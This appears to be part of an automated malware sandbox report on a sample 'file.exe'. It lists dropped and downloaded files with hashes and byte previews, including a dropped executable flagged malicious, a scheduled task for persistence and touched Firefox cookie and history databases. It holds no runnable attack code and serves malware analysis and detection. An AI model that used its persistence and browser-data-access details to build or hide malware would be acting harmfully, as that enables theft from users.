Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7464_503297574\9892e11e-51b9-4a9f-875c-13aef90bfebb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7464_503297574\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7464_503297574\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7464_503297574\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7464_503297574\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBFHDHJKKJD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915392
Entropy (8bit):	7.951244037237153
Encrypted:	false
SSDEEP:	49152:zp3TQ76dirFvUm3AO0nmAc3JNxOmSqzvkJx9/:zp3UGYlUm3gmAc3LSqYJX/
MD5:	75C74C2FD59789450D493010E203D2FB
SHA1:	C432607F515659F23E02F52348B0653C78E82B00
SHA-256:	668916AA80EFCD824D1E355BCDC2F91BF3D016B9D4E6CB17649888FC77C92F41
SHA-512:	BD91D1BE1532C8AD8F275D3D022EA9D9D55FCC210E7E17BC825AF0E3B3F3A2F13D61C281D6B3801A41205D4EDB10E1AA44721FC63AF3927CBE0F83C061C9F251
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................@L...........@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...ziuuvnhg. ....1.....................@...jaocwzsc......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBFHDHJKKJD.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4366840951450155
Encrypted:	false
SSDEEP:	6:d3mfDtXUhXUEZ+lX1CGdKUe6tE9+AQy0lBuedt0:d3mLZ4Q1CGAFD9+nVBuet0
MD5:	636C45358319226227CEE6E6FC2528EF
SHA1:	D8B4DC56893D756077B91C7DBB0672FE450D4441
SHA-256:	FB6B4C85A97C802AD2401B6235888653E64BB761EAE13D31C8CDF18F66B0DC4B
SHA-512:	1F59F2A7A442193E9F16917365EE7BBA873F4D30C1CA4ADEC9C81A0490884059CFEF3869F52190A5E6EFAA0BF954E67D17FDC818741EBF3C8EB4F2C609A17F9E
Malicious:	false
Preview:	........-..@..-.Yq..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (826)
Category:	downloaded
Size (bytes):	831
Entropy (8bit):	5.179109980794075
Encrypted:	false
SSDEEP:	24:76GQzmD4LkBzLTJBHslgT9lCuABuoB7HHHHHHHYqmffffffo:bMLklPJKlgZ01BuSEqmffffffo
MD5:	1804788075296A1AAE0CE71278E1DC5A
SHA1:	7F87C2F1D1AD19E74BF545767C6C25A77266932E
SHA-256:	72F2A62982E39A2A719634655C812BC5204B95CC4281C6C89BAC762D4843E6E2
SHA-512:	898F03197792911C4161C5E6146BC6A65F0681850876ABE754848AF755308730ABFDA3A0E99AC1883CA1733F7C7F7F92F0311A9AAE15D8CA3944BA879E38AABA
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["walmart diversity equity inclusion","nosferatu popcorn buckets","minnesota timberwolves houston rockets","batman arkham origins vengeance","the earth tilted 31.5 inches","macy employee expenses","zodiac signs daily horoscope today","monopoly go planting profits rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132980
Entropy (8bit):	5.435288179045523
Encrypted:	false
SSDEEP:	3072:f3kX3ioI5wrfFiC8jMbk/5xnREpvsMTwR2i6o:fY3dDFqr/5xnREpvrwR8o
MD5:	A4ABD790EF994ABF59DBF42FF8DEB20C
SHA1:	5281F91A4AB18EDAEFF9B4D8352A124C3D7E79F4
SHA-256:	864BE83AC82D2BE4FF54506E3AEE055C34B42361DC8C57874699D66B98481236
SHA-512:	759B3686C4EB72DC2AD7477A372D28ECDC9EBED25F59D74A95A4C51CCDD6EE187C5FF1BE86703F855D40241FC8805C5137A8D652FE2B7042922B1472F4C4B74D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943897058670083
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'804'800 bytes
MD5:	10f2cb265f91edede4941f3f8dba3b74
SHA1:	7d8ab4ade239daa96c7ef0e64a291a2fa9320be0
SHA256:	a5701170b349e3517044709a19e502fcfe7ab0a4517243b3e6cb779966037530
SHA512:	abccb53e4ae0ad8c39176ac04efb48d9a34cb134a77ced2394ff732da27b811bd0d4bbe25f7527d559a51785522746d8d8d33c799b4a70b81bfea99aa93db6af
SSDEEP:	49152:wmM9enw6VG19U/jkrAKJI2oqioP4stKX:wH96jVG19+jkMKJI2o5oi
TLSH:	1F8533860CB2F01EC00B953698BFEC52F370C7062D92BF76722757B18D939ED6A46912
